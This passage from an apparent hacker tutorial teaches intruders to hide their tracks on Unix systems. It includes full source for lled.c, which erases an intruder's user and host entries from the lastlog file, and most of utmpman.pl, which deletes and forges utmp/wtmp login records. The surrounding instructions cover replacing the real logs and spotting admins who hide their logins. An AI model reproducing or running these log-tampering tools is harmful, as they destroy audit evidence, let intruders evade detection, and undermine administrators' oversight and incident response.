  3120. printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
  3121. }
  3122. ---------------------- cut here
  3123.  
  3124. You might also have to clean stuff out of the file /vat/adm/lastlog
  3125.  
  3126. For this use the lled.c.  Compile the program and name it lled.
  3127.  
  3128. Here is a menu from the program when you type ./lled
  3129.  
  3130. [4:04am][/home/paris/compile]lled
  3131. Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
  3132. -h      This help
  3133. -f      Use FILE instead of default
  3134. -a      Show all entries found
  3135. -u      Show all entries for USER
  3136. -b      Show NULL entries
  3137. -e      Erase USER completely
  3138. -c      Erase all connections containing HOST
  3139. -z      Show ZAP'd entries
  3140. -x      Attempt to remove ZAP'd entries completely
  3141.  
  3142. It would be good to try to view first using -u, but many times it will not
  3143. show your username in the lastlog, but it will still have your host, so I
  3144. have found that if you know what to look for you can just type something like:
  3145. If my host name that I was coming from was machine.edit.com, I could type
  3146.  
  3147. lled -e username -c machine.edit
  3148.  
  3149. If you need to view the lastlog your host entry should be at the end of the
  3150. file, just type: lled -a
  3151.  
  3152. chmod the file lastlog.tmp 644 and copy the file over the top of the lastlog
  3153. file in the log directory just like you did above for the wted.
  3154.  
  3155. BE SURE TO SET THE PATH FOR YOUR lastlog below!
  3156.  
  3157. Ok here is your lled.c
  3158. -------------------------- cut here
  3159. #include <stdio.h>
  3160. #include <time.h>
  3161. #include <lastlog.h>
  3162. #include <fcntl.h>
  3163.  
  3164. char *file="/var/adm/lastlog";
  3165.  
  3166. main(argc,argv)
  3167. int argc;
  3168. char *argv[];
  3169. {
  3170. int i;
  3171. if (argc==1) usage();
  3172. for(i=1;i<argc;i++)
  3173.     {
  3174.     if(argv[i][0] == '-')
  3175.         {
  3176.         switch(argv[i][1])
  3177.             {
  3178.             case 'b': printents(""); break;
  3179.             case 'z': printents("Z4p"); break;
  3180.             case 'e': erase(argv[i+1]); break;
  3181.                         case 'c': erase(0,argv[i+1]); break;
  3182.             case 'f': file=argv[i+1]; break;
  3183.             case 'u': printents(argv[i+1]); break;
  3184.             case 'a': printents("*"); break;
  3185.             case 'x': remnull(argv[i+1]); break;
  3186.             default:usage();
  3187.             }
  3188.         }
  3189.     }
  3190. }
  3191.  
  3192. printents(name)
  3193. char *name;
  3194. {
  3195. struct lastlog utmp,*ptr;
  3196. int fp=-1;
  3197. ptr=&utmp;
  3198. if (fp=open(file,O_RDONLY))
  3199.     {
  3200.     while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))
  3201.         {
  3202.         if ( !(strcmp(name,ptr->ll_line)) || (name=="*") ||
  3203.         (!(strcmp("Z4p",name)) && (ptr->ll_time==0)))
  3204.             printinfo(ptr);
  3205.         }
  3206.     close(fp);
  3207.     }
  3208. }
  3209.  
  3210. printinfo(ptr)
  3211. struct lastlog *ptr;
  3212. {
  3213. char tmpstr[256];
  3214. printf("%s\t",ptr->ll_line);
  3215. strcpy(tmpstr,ctime(&(ptr->ll_time)));
  3216. tmpstr[strlen(tmpstr)-1]='\0';
  3217. printf("%s\t",tmpstr);
  3218. printf("%s\n",ptr->ll_host);
  3219. }
  3220.  
  3221. erase(name,host)
  3222. char *name,*host;
  3223. {
  3224. int fp=-1,fd=-1,tot=0,cnt=0,n=0;
  3225. struct lastlog utmp;
  3226. unsigned char c;
  3227. if (fp=open(file,O_RDONLY)) {
  3228.         fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
  3229.         while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
  3230.                 if (host)
  3231.                         if (strstr(utmp.ll_host,host)) tot++;
  3232.                         else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}
  3233.                 if (name) {
  3234.         if (strcmp(utmp.ll_line,name)) {cnt++;
  3235.             write(fd,&utmp,sizeof(struct lastlog));}
  3236.         else { 
  3237.             if (n>0) {
  3238.                 n--;cnt++;
  3239.                 write(fd,&utmp,sizeof(struct lastlog));}
  3240.             else
  3241.             {
  3242.             printinfo(&utmp);
  3243.             printf("Erase entry (y/n/f(astforward))? ");
  3244.             c='a';
  3245.             while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
  3246.             if (c=='f') {
  3247.                 cnt++;
  3248.                 write(fd,&utmp,sizeof(struct lastlog));
  3249.                 printf("Fast forward how many entries? ");
  3250.                 scanf("%d",&n);}
  3251.             if (c=='n') {
  3252.                 cnt++;
  3253.                 write(fd,&utmp,sizeof(struct lastlog));
  3254.                 }
  3255.             if (c=='y') tot++;
  3256.             } 
  3257.               }    }                    
  3258.         }
  3259.         close(fp);
  3260.         close(fd);
  3261.         }
  3262. printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
  3263. printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
  3264. }
  3265.  
  3266. remnull(name)
  3267. char *name;
  3268. {
  3269. int fp=-1,fd=-1,tot=0,cnt=0,n=0;
  3270. struct lastlog utmp;
  3271. if (fp=open(file,O_RDONLY)) {
  3272.         fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
  3273.         while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
  3274.         if (utmp.ll_time) {
  3275.             cnt++;
  3276.             write(fd,&utmp,sizeof(struct lastlog));
  3277.         }
  3278.         else
  3279.             tot++;
  3280.     }
  3281.         close(fp);
  3282.         close(fd);
  3283.         }
  3284. printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
  3285. printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
  3286. }
  3287.  
  3288. usage()
  3289. {
  3290. printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
  3291. printf("\t-h\tThis help\n");
  3292. printf("\t-f\tUse FILE instead of default\n");
  3293. printf("\t-a\tShow all entries found\n");
  3294. printf("\t-u\tShow all entries for USER\n");
  3295. printf("\t-b\tShow NULL entries\n"); 
  3296. printf("\t-e\tErase USER completely\n");
  3297. printf("\t-c\tErase all connections containing HOST\n");
  3298. printf("\t-z\tShow ZAP'd entries\n");
  3299. printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
  3300. }
  3301. ---------------------------------------------------------------- cut here
  3302.  
  3303. A good perl script for editing utmp, wtmp, and checking processes.
  3304. It will also let you insert lines in wtmp.  So if you need to play you
  3305. can add clinton.whitehouse.gov logging into port ttyp3 and show he stayed
  3306. on the system for a few hours!
  3307.  
  3308. Running 'check' will let you know if someone is on the system and not showing
  3309. up in the utmp log.  Admins like to hide the fact that they are online
  3310. sometimes.  This will allow you to see their connection.  You must be root to
  3311. run the script, and they need perl 5.003+ on thier system.  After starting
  3312. the script just type help.
  3313.  
  3314. Here are some of the basic commands:
  3315.  
  3316. starts by loading wtmp
  3317.  
  3318. delete user username
  3319. delete host hostanme
  3320. write
  3321.  
  3322. read wtmp
  3323. delete user username
  3324. delete host hostname
  3325. write
  3326.  
  3327. do help for the rest ... the best wtmp,wtmp editor around!
  3328.  
  3329. Say thankyou i-e ;)
  3330.  
  3331. -----------------------start of utmpman.pl
  3332. #!/usr/bin/perl -w
  3333. #
  3334. # Variable defines.
  3335. my($utmp_location) = "/var/run/utmp";
  3336. my($wtmp_location) = "/var/log/wtmp";
  3337. my($shells_location) = "/etc/shells";
  3338. my($ttybase) = "tty";
  3339. my($ttyrange) = "pqrs";                 # TTYrange standard on most linux systems.
  3340. my($ttyports) = "012345657689abcfef";   # TTYports standard on most linux systems.
  3341.  
  3342. # Global initializations.
  3343. my($active_file) = "";
  3344. my(%entries) = {};
  3345. my(@cmdline) = ();
  3346. my(@shells) = ();
  3347.  
  3348. # Display banner.
  3349. print "\nutmp Manager v0.8\n\n";
  3350.  
  3351. # Access check.
  3352. die("utmpman :: You must be root to run this application!\n") unless ($> == 0);
  3353.  
  3354. # Read in valid shells.
  3355. if (defined($shells_location)) {
  3356.   open(SHELLFILE, "<$shells_location");
  3357.   @shells = <SHELLFILE>;
  3358.   close(SHELLFILE);
  3359. }
  3360. # Process "basename" of each shell.
  3361. @shells = map( { /([^\/\n]+)\n*$/; $1; } @shells);
  3362.                                  
  3363. print push(@shells) . " valid shells in $shells_location: @shells\n" if (defined(@shells));
  3364. readfile("$utmp_location");
  3365. print("\nutmpman: $active_file> ");
  3366. while (<STDIN>) {
  3367.   process_cmd(split);
  3368.   print("\nutmpman: $active_file> ");
  3369. }
  3370.  
  3371. sub process_cmd {
  3372.   return if (!defined(@_));
  3373.   my(@line) = map { lc($_) } @_;
  3374.   
  3375.   $_ = shift(@line);
  3376.   SWITCH: {
  3377.         /^check$/     && do {
  3378.                            check_func(@line);
  3379.                            last SWITCH;
  3380.                          };
  3381.  
  3382.         /^delete$/    && do {
  3383.                            del_func(@line);
  3384.                            last SWITCH;
  3385.                          };  
  3386.                          
  3387.         /^help$/      && do {
  3388.                            help_func();
  3389.                            last SWITCH;          
  3390.                          };
  3391.                                       
  3392.         /^insert$/    && do {
  3393.                            ins_func(@line);
  3394.                            last SWITCH;
  3395.                          }; 
  3396.                                       
  3397.         /^list$/      && do {
  3398.                            list_func(@line);
  3399.                            last SWITCH;
  3400.                          };
  3401.  
  3402.         /^read$/      && do {
  3403.                            read_func(@line);
  3404.                            last SWITCH;
  3405.                          };
  3406.                                                                                               
  3407.         /^write$/     && do {
  3408.                            write_func(@line);
  3409.                            last SWITCH;
  3410.                          };              
  3411.                                                     
  3412.         /^quit|exit$/ && exit(0);
  3413.         
  3414.         # DEFAULT. 
  3415.         print ("Invalid command.\n");       
  3416.   }
  3417. }
  3418.  
  3419.  
  3420. # HELP
  3421.  
  3422. sub help_func {
  3423.   print << "EOM";
  3424.  
  3425. utmpManager Help
  3426. ----------------
  3427.  
  3428. Note: - <n> is an argument.
  3429.       - [id=] is a token which expects a value as part of command
  3430.         (ie, insert id=p5 user=root 11/23/96). See the insert command.
  3431.       - A line is the full name to the tty port, ie ttyp0.
  3432.       - An id is the *unique* representation of the port
  3433.         (without the tty, etc), ie "p0" (for ttyp0).
  3434.  
  3435.   check
  3436.     - Perform user consistancy check. Use this to make sure that the data in
  3437.       utmp agrees with who is actually on the machine. This is useful in
  3438.       determining if a user is online with hidden ports, running nohup'd
  3439.       processes, or running iScreen.
  3440.  
  3441.   delete <x>-<y>
  3442.     - Delete entries #x to #y.
  3443.  
  3444.   delete host <host>
  3445.     - Delete *all* entries which match the substring <host>.
  3446.  
  3447.   delete line|id <line|id>
  3448.     - Delete entry containing <line> or <id>.
  3449.  
  3450.   insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime}
  3451.     - Insert an entry into utmp/wtmp files specifying any combination
  3452.       of id/line, type, username, host, connection time, and logoff time.
  3453.       (LogoffTime only valid for WTMP files.)
  3454.  
  3455.   list host <host>
  3456.     - List all entries matching the substring <host>.
  3457.  
  3458.   list line|id <line|id>
  3459.     - List all entries matching <line> or <id>.
  3460.  
  3461.   read utmp|wtmp|<filename>
  3462.     - Read entries from either default wtmp, default utmp, or an arbitrary
  3463.       filename. Note: arbitrary filenames MUST start with either "utmp" or
  3464.       "wtmp" to be used with this editor. Rename files *outside* of this
  3465.       editor if necessary. If read is executed without any arguments, it
  3466.       rereads the last given filename, which is displayed on the prompt.
  3467.  
  3468.   write {filename}
  3469.     - Write entries to file {filename}. If write is executed without any
  3470.       arguments, then entries will be written to the last given filename,
  3471.       which is displayed on the prompt.
  3472.  
  3473. EOM
  3474. }
  3475.  
  3476. # DELETE
  3477.  
  3478. sub del_func {
  3479.   my(@params) = @_;
  3480.  
  3481.   if (!push(@_)) {
  3482.     print("delete :: Not enough parameters. See \"help\" for syntax.\n");
  3483.     return undef;
  3484.   } elsif ($params[0] =~ /host|user|id|line/) {
  3485.     del_by_data(@_);
  3486.   } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
  3487.     del_by_range($params[0]);
  3488.   } elsif ($params[0] =~ m/^(\d+)$/) {
  3489.     del_by_range("$1-$1");
  3490.   }
  3491.   
  3492.   # Renumber list after delete operation.
  3493.   resync();
  3494. }
  3495.  
  3496.  
  3497. sub del_by_range {
  3498.   my($range)=shift;
  3499.   $range =~ m/(\d+)*-(\d+)*/;
  3500.   my($lo, $hi, $count)=($1, $2, 0);
  3501.   
  3502.   $lo = 0 if (!defined($lo));
  3503.   $hi = scalar(keys(%entries)) if (!defined($hi));
  3504.   
  3505.   foreach (sort( { $a <=> $b } keys(%entries))) {
  3506.     if (($_ >= $lo) && ($_ <= $hi)) {
  3507.       delete($entries{$_});
  3508.       $count++;
  3509.     }
  3510.   }
  3511.   print "$count entries deleted.\n";
  3512. }               
  3513.  
  3514.  
  3515. sub del_by_data {
  3516.   my($op, $data) = @_;
  3517.   my($count) = 0;
  3518.  
  3519.   if ((length($data) < 5) && ($op eq "host")) {
  3520.     print "Must specify at least 5 characters for delete hostmask.\n";
  3521.     return undef;
  3522.   } elsif (((length($data) > 4) && ($op eq "id"))||
  3523.            ((length($data) > 11) && ($op eq "line"))) {
  3524.     print "Invalid $op specified.\n";
  3525.     return undef;
  3526.   }
  3527.   # Note: If we are deleting by user, then user must match, *exactly*!
  3528.   $data = "^" . pack("a8", $data) . "\$" if ($op eq "user");
  3529.   foreach (sort( { $a <=> $b } keys(%entries))) {
  3530.     if (%{$entries{$_}}->{$op} =~ m/$data/i) {
  3531.       delete($entries{$_});
  3532.       ++$count;
  3533.     }
  3534.   }
  3535.   if (!$count) {
  3536.     print "No $op entries matching $data.\n";
  3537.   } else {
  3538.     print "$count entries deleted.\n";
  3539.   }
  3540. }
  3541.  
  3542.  
  3543. # INSERT
  3544.  
  3545. # Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]]
  3546. # Date2 Time2 = DateTime2 => (see above)
  3547. # user=<username>
  3548. # host=<hostname>
  3549. # id=<id> | line=<line>
  3550. #
  3551. # utmp:
  3552. # insert {id=|line=} [type=] [user=] [host=] [DateTime]
  3553. # wtmp:
  3554. # insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2}
  3555.  
  3556. sub ins_func {
  3557.   my(%cmdopt)={};
  3558.   my($datetime1, $datetime2, $gmdate, $gmdate2);
  3559.  
  3560.   # Get random pid out of the way.
  3561.   $cmdopt{"pid"} = int(rand(32656)+100);
  3562.   $cmdopt{"addr"} = pack("a4", "");
  3563.  
  3564.   # Get command options.
  3565.   foreach (@_) {
  3566.     if (/=/) {
  3567.       local($key, $value)=split(/=/);
  3568.       $cmdopt{$key} = $value;
  3569.     } else {
  3570.       if (!defined($datetime1)) {
  3571.         $datetime1 = $_;
  3572.         next;
  3573.       }
  3574.       if (!defined($datetime2)) {
  3575.         $datetime2 = $_ ;
  3576.         next;
  3577.       }
  3578.       print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
  3579.       return undef;
  3580.     }
  3581.   }
  3582.  
  3583.   # Check for an illegal pair or illegal option.
  3584.   foreach (keys(%cmdopt)) {
  3585.     if (!(/^host|id|line|type|user|addr$/)) {
  3586.       print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
  3587.       return undef;
  3588.     }
  3589.     if (($_ eq "last") && ($active_file !~  m!/*utmp[^/]*$!i)) {
  3590.       print "insert :: LAST option only valid for utmp files.\n";
  3591.       return undef;
  3592.     }     
  3593.   }
  3594.  
  3595.   # Get date in seconds since 1970.
  3596.   $gmdate = SecsSince1970($datetime1);
  3597.  
  3598.   # Get ending date in seconds since 1970.
  3599.   $gmdate2 = SecsSince1970($datetime2) if (defined($datetime2));
  3600.  
  3601.   if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2))) {
  3602.     print "insert :: Invalid date specified.\n";
  3603.     return undef;
  3604.   }
  3605.  
  3606.   if (defined($gmdate2)) {
  3607.     if ($gmdate2 < $gmdate) {
  3608.       print "insert :: First date/time must be *later* than second date/time.\n";
  3609.       return undef;
  3610.     }
  3611.   }
  3612.  
  3613.   if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) {
  3614.     print "insert :: Insert by LINE or ID only. Please do not specify both.\n";
  3615.     return undef;
  3616.   }
  3617.  
  3618.   my($op);
  3619.  
  3620.   if (!defined($cmdopt{"id"})) {
  3621.     $cmdopt{"id"} = $cmdopt{"line"};
  3622.     $op = "line";
  3623.     if (!($cmdopt{"id"} =~ s/^$ttybase//)) { 
  3624.       print "insert :: Invalid line specified.\n"; 
  3625.       return undef; 
  3626.     }
  3627.   } else {
  3628.     $cmdopt{"line"} = $ttybase . $cmdopt{"id"};
  3629.     $op = "id";
  3630.   } 
  3631.  
  3632.   if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) {
  3633.     print "insert :: Neither LINE nor ID value found. See \"help\" for syntax.\n";
  3634.     return undef;
  3635.   }
  3636.     
  3637.   my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ?  
  3638.     (pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op};
  3639.   my($epos1, $npos1, $epos2, $npos2) = ();
  3640.   my($oldpos, $count)=("", 0);
  3641.  
  3642.   foreach (sort( { $a <=> $b } keys(%entries))) {
  3643.     if ($active_file =~ m!/*utmp[^/]*$!i) {
  3644.       # Handle utmp insertion by line insertion.
  3645.       if (%{$entries{$_}}->{$op} eq $searchdata) {
  3646.         printf ("insert :: $op $searchdata already exists at position $_\n");
  3647.         # This needs to check every option in %cmdopt for defined or null.
  3648.         $count = 0;
  3649.         foreach (qw(user host time)) {
  3650.           if (defined($cmdopt{$_})) {
  3651.             $count++ if ($cmdopt{$_} ne "");
  3652.           }
  3653.         }
  3654.         if (!$count) {
  3655.           printf ("insert :: No other data specified. Entry unchanged.\n");
  3656.           return undef;
  3657.         }
  3658.         last;
  3659.       }
  3660.     } else {
  3661.       # Handle wtmp insertion by time position. (Messy)
  3662.       $epos1 = $oldpos if (defined($npos1) && !defined($epos1));
  3663.       $npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate);
  3664.       last if (!defined($gmdate2) && defined($epos1));
  3665.       $epos2 = $oldpos if (defined($npos2)); 
  3666.       $npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2);
  3667.       last if (defined($epos2));
  3668.     }
  3669.     $oldpos = $_;
  3670.   }
  3671.  
  3672.   # Set any unspecified defaults.
  3673.   $cmdopt{"user"} = pack("a8", "")  if !defined($cmdopt{"user"});
  3674.   $cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"});
  3675.   $cmdopt{"type"} = 7               if !defined($cmdopt{"type"});
  3676.  
  3677.   # Determine end of list insertion positions. (IE, dates entered are after
  3678.   # dates in wtmp file or line/id not found in utmp file.
  3679.   $epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1));
  3680.   if (defined($datetime2)) {
  3681.     $epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2));
  3682.     ++$epos2 if (defined($gmtime2) && !defined($npos1));
  3683.   }
  3684.  
  3685.   # Parse insert data and insert entry.
  3686.   $epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1));
  3687.   $epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2)
  3688.     if (defined($npos2) && defined($gmdate2));
  3689.  
  3690.   # Insert first entry.
  3691.   $cmdopt{"time"} = $gmdate;  
  3692.   @{$entries{$epos1}}{qw(type pid line id time user host addr)} = 
  3693.            @{%cmdopt}{qw(type pid line id time user host addr)};
  3694.  
  3695.   if (defined($epos2)) {
  3696.     $cmdopt{"user"} = pack("a8", "");
  3697.     $cmdopt{"host"} = pack("a16","");
  3698.     $cmdopt{"id"}   = pack("a4", "");
  3699.     $cmdopt{"time"} = $gmdate2;
  3700.  
  3701.     @{$entries{$epos2}}{qw(type pid line id time user host addr)} =
  3702.              @{%cmdopt}{qw(type pid line id time user host addr)};
  3703.   }
  3704.  
  3705.   resync();
  3706. }
  3707.  
  3708.  
  3709. # LIST
  3710.  
  3711. sub list_func {
  3712.   my(@params) = @_;
  3713.  
  3714.   if (!push(@_) || ($params[0] eq "all")) {
  3715.     list_by_range("-");
  3716.     return 0;
  3717.   } elsif ($params[0] =~ /^host|user|id|line$/) {
  3718.     list_by_data(@_);
  3719.     return 0;
  3720.   } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
  3721.     list_by_range($params[0]);
  3722.     return 0;
  3723.   } elsif ($params[0] =~ m/^(\d+)$/) {
  3724.     list_by_range("$1-$1");
  3725.     return 0;
  3726.   }
  3727.                           
  3728.   print ("list :: Error in parameters. See \"help\" for syntax.\n");
  3729.   return undef;
  3730. }    
  3731.  
  3732.  
  3733. sub list_by_data {
  3734.   my($op, $data) = @_;
  3735.   my($count) = 0;
  3736.  
  3737.   foreach (sort( {$a <=> $b} keys(%entries))) {
  3738.     if (%{$entries{$_}}->{$op} =~ m/$data/i) {
  3739.       list_entry($_);
  3740.       ++$count;
  3741.     }
  3742.   }
  3743.   print "No $op entries matching $data.\n" if (!$count);
  3744. }
  3745.  
  3746.  
  3747. sub list_by_range {
  3748.   my($range)=shift;
  3749.   $range =~ m/(\d+)*-(\d+)*/;
  3750.   my($lo, $hi)=($1, $2);
  3751.   
  3752.   $lo = 0 if (!defined($lo));
  3753.   $hi = scalar(keys(%entries)) if (!defined($hi));
  3754.   
  3755.   foreach (sort( { $a <=> $b } keys(%entries))) {
  3756.     if (($_ >= $lo) && ($_ <= $hi)) {
  3757.       list_entry($_);
  3758.     }
  3759.   }
  3760. }               
  3761.  
  3762.  
  3763. sub list_entry {
  3764.   printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_);
  3765.   printf("  %s/%s", @{$entries{$_}}{qw(id line)});
  3766.   printf(": %s ", %{$entries{$_}}->{"user"})
  3767.     if (%{$entries{$_}}->{"user"} ne pack("a8", ""));
  3768.   printf("from %s", %{$entries{$_}}->{"host"}) 
  3769.     if (%{$entries{$_}}->{"host"} ne pack("a16", ""));
  3770.   if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") {
  3771.     printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"}));
  3772.   }
  3773.   print ("\n");
  3774.   printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"}) 
  3775.     if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne pack("a8","")));
  3776. }
  3777.  
  3778. # <Silmaril> printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id line user host)};
  3779. # <Silmaril> now *that's* cool :-)
  3780. # <Silmaril> should be like this: @{$v}{qw(time id line user host)}
  3781. # <Silmaril> I had an extra -> in my first version.
  3782. #
  3783. # Or course, it's changed since then, but - "Thanks, Sil!" :)
  3784. #
  3785.  
  3786.  
  3787. # READ
  3788.  
  3789.  
  3790. sub read_func {
  3791.   my($arg)=shift;
  3792.   
  3793.   $arg = $utmp_location if ($arg eq "utmp");
  3794.   $arg = $wtmp_location if ($arg eq "wtmp");
  3795.   $arg = $active_file if (!defined($arg));
  3796.   
  3797.   if ($arg !~ m!/*[uw]tmp[^/]*$!) {
  3798.     print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to be edited.\n");
  3799.     return undef;
  3800.   }
  3801.   
  3802.   readfile($arg);
  3803. }
  3804.    
  3805.  
  3806. # WRITE
  3807.  
  3808. sub write_func {
  3809.   my($file)=shift;
  3810.   my($count)=0;
  3811.   
  3812.   $file = $active_file if (!defined($file));
  3813.   if ($file !~ m!/*[uw]tmp[^/]*$!) {
  3814.     print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file outside this program.\n");
  3815.     return undef;
  3816.   }
  3817.   if (!open(OUTFILE, ">$file")) {
  3818.     print ("write :: Can't open $file for output.\n");
  3819.     return undef;
  3820.   }
  3821.   binmode(OUTFILE);
  3822.   
  3823.   foreach (sort( { $a <=> $b } keys(%entries))) {
  3824.     printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4", 
  3825.       @{$entries{$_}}{qw(type pid line id time user host addr)}));
  3826.     $count++;
  3827.   }
  3828.   print ("$active_file: " . scalar(keys(%entries)) . " entries written.\n");
  3829.   close(OUTFILE);
  3830. }               
  3831.  
  3832.  
  3833. # CHECK
  3834.  
  3835. sub check_func {
  3836.   if (push(@_)) {
  3837.     print "check :: Invalid options specified. Please see \"help\"\n";
  3838.     return undef;
  3839.   }
  3840.   if ($active_file !~ m!/*utmp[^/]*$!) {
  3841.     print "check :: Command can only be run on utmp files.\n";
  3842.     return undef;
  3843.   }
  3844.   
  3845.   # Build struct of ports containing port name, device num and owner.
  3846.   # Note: Test run in grepstr may *not* be portable for all Unix
  3847.   #       types. Be forewarned! This was designed for Linux.
  3848.   # Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyports])$/
  3849.   #       should return the same as what you expect in "struct utmp->ut_id".
  3850.   my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$";
  3851.   my(%ports) = {};
  3852.   my($user, $rdev) = ();
  3853.  
  3854.   opendir(DEVDIR, "/dev");
  3855.   my(@devfiles) = readdir(DEVDIR);
  3856.   @devfiles = grep(/$grepstr/, @devfiles);  
  3857.   close(DEVDIR);
  3858.   foreach (@devfiles) {
  3859.     /^$ttybase([$ttyrange][$ttyports])$/;
  3860.     if (!defined($1)) {
  3861.       print "check :: Warning! Could not extract port ID from $_.\n";
  3862.     } else {
  3863.       ($user, $rdev) = (stat("/dev/$_"))[4, 6];
  3864.       $user = getpwuid($user);
  3865.       $ports{$1} = newport($_, $rdev, $user);
  3866.     } 
  3867.   }
  3868.   
  3869.   # Check ownership of /dev ports.
  3870.   my(@logdev)=();
  3871.   foreach (sort(keys(%ports))) {
  3872.     push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root");
  3873.   }
  3874.   @logdev = sort(@logdev);
  3875.       
  3876.   # Check utmp (against ports detected as logged in);
  3877.   my(@logutmp)=();
  3878.   foreach (sort( { $a <=> $b } keys(%entries))) {
  3879.     if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"host"}) &&
  3880.         defined(%{$entries{$_}}->{"id"})   && defined(%{$entries{$_}}->{"pid"})) {
  3881.       push(@logutmp, %{$entries{$_}}->{"id"})  
  3882.         if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) &&
  3883.             ((%{$entries{$_}}->{"user"} ne pack("a8", "")) ||
  3884.             ((%{$entries{$_}}->{"host"} ne pack("a16", "")) &&
  3885.              (%{$entries{$_}}->{"id"} ne pack("a4", "")) &&
  3886.              (%{$entries{$_}}->{"line"} ne pack("a12", "")) &&
  3887.              (%{$entries{$_}}->{"pid"} > 0))));
  3888.     }
  3889.   }
  3890.   @logutmp = sort(@logutmp);
  3891.  
  3892.   # Check PIDs (find processes with active port ids)
  3893.   opendir(PIDDIR, "/proc");
  3894.   my(%processes) = {};
  3895.   my(@portprocesses) = ();
  3896.   foreach (grep(/\d+/, readdir(PIDDIR))) {
  3897.     local($procdata, $cmdline);
  3898.     open(PROCFILE, "</proc/$_/stat");
  3899.     $procdata = <PROCFILE>;
  3900.     close(PROCFILE);
  3901.     if (-e "/proc/$_/stat") {
  3902.       local($cmdline, $devnum, $portid);
  3903.       ($cmd, $devnum) = (split(/ /, $procdata))[1, 6];
  3904.       # Remove surrouding () from command name.
  3905.       $cmd =~ s/[\(\)]//g;
  3906.       $portid = dev2id(\%ports, $devnum);
  3907.       if (defined($portid)) {
  3908.         push(@portprocesses, $portid)
  3909.           if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_));
  3910.         $processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ != $_));
  3911.       }
  3912.     }
  3913.   }
  3914.   close(PIDDIR);
  3915.  
  3916.   # A port is *not* logged in if there is no dev entry for port, no utmp entry
  3917.   # and no active processes.
  3918.   my(@validshellports) = ();
  3919.   foreach (sort( { $a <=> $b} keys(%processes))) {
  3920.     push(@validshellports, %{$processes{$_}}->{"port"}) 
  3921.       if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&&
  3922.           !defined(listpos(\@validshellports, %{$processes{$_}}->{"port"})));
  3923.   }
  3924.   # Remove ports with valid shells from list of ports with active processes.
  3925.   my(@noshellports) = 
  3926.     sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses));
  3927.   @validshellports = sort(@validshellports);
  3928.   print "Ports with active /dev files: @logdev\n"
  3929.     if (defined(@logdev));
  3930.   print "Ports with utmp entries: @logutmp\n"
  3931.     if (defined(@logutmp));
  3932.   print "Ports with valid shells: @validshellports\n" 
  3933.     if (defined(@validshellports));
  3934.   print "Ports with active processes and *no* shells: @noshellports\n" 
  3935.     if (defined(@noshellports));
  3936. }  
  3937.   
  3938.     
  3939. # GENERAL
  3940.  
  3941. sub readfile {
  3942.   local($file);
  3943.   $file = shift;
  3944.   my($index)=1;
  3945.   my($buffer)="";
  3946.  
  3947.   # Insure we have a clean hash table before we start reading in the file.
  3948.   foreach (keys(%entries)) {
  3949.     undef(%{$entries{$_}});
  3950.     delete(${entries{$_}});
  3951.   }
  3952.     
  3953.   open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n");
  3954.   binmode(UTMPFILE);
  3955.   # 1/17/96, struct utmp is 56 bytes (54 according to addition! :P).  
  3956.   while (read(UTMPFILE, $buffer, 56)) {
  3957.     $entries{$index++} = newutmp($buffer);
  3958.   }
  3959.   $active_file = $file;
  3960.   print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n");
  3961.   close(UTMPFILE);
  3962. }
  3963.  
  3964.  
  3965. sub newutmp {
  3966.   my($newbuff) = shift;
  3967.   my($longaddr) = 0;
  3968.   
  3969.   $newnode = bless { 
  3970.     "type" => undef, "pid" => undef,  "line" => undef, "id"   => undef,
  3971.     "time" => undef, "user" => undef, "host" => undef, "addr" => undef
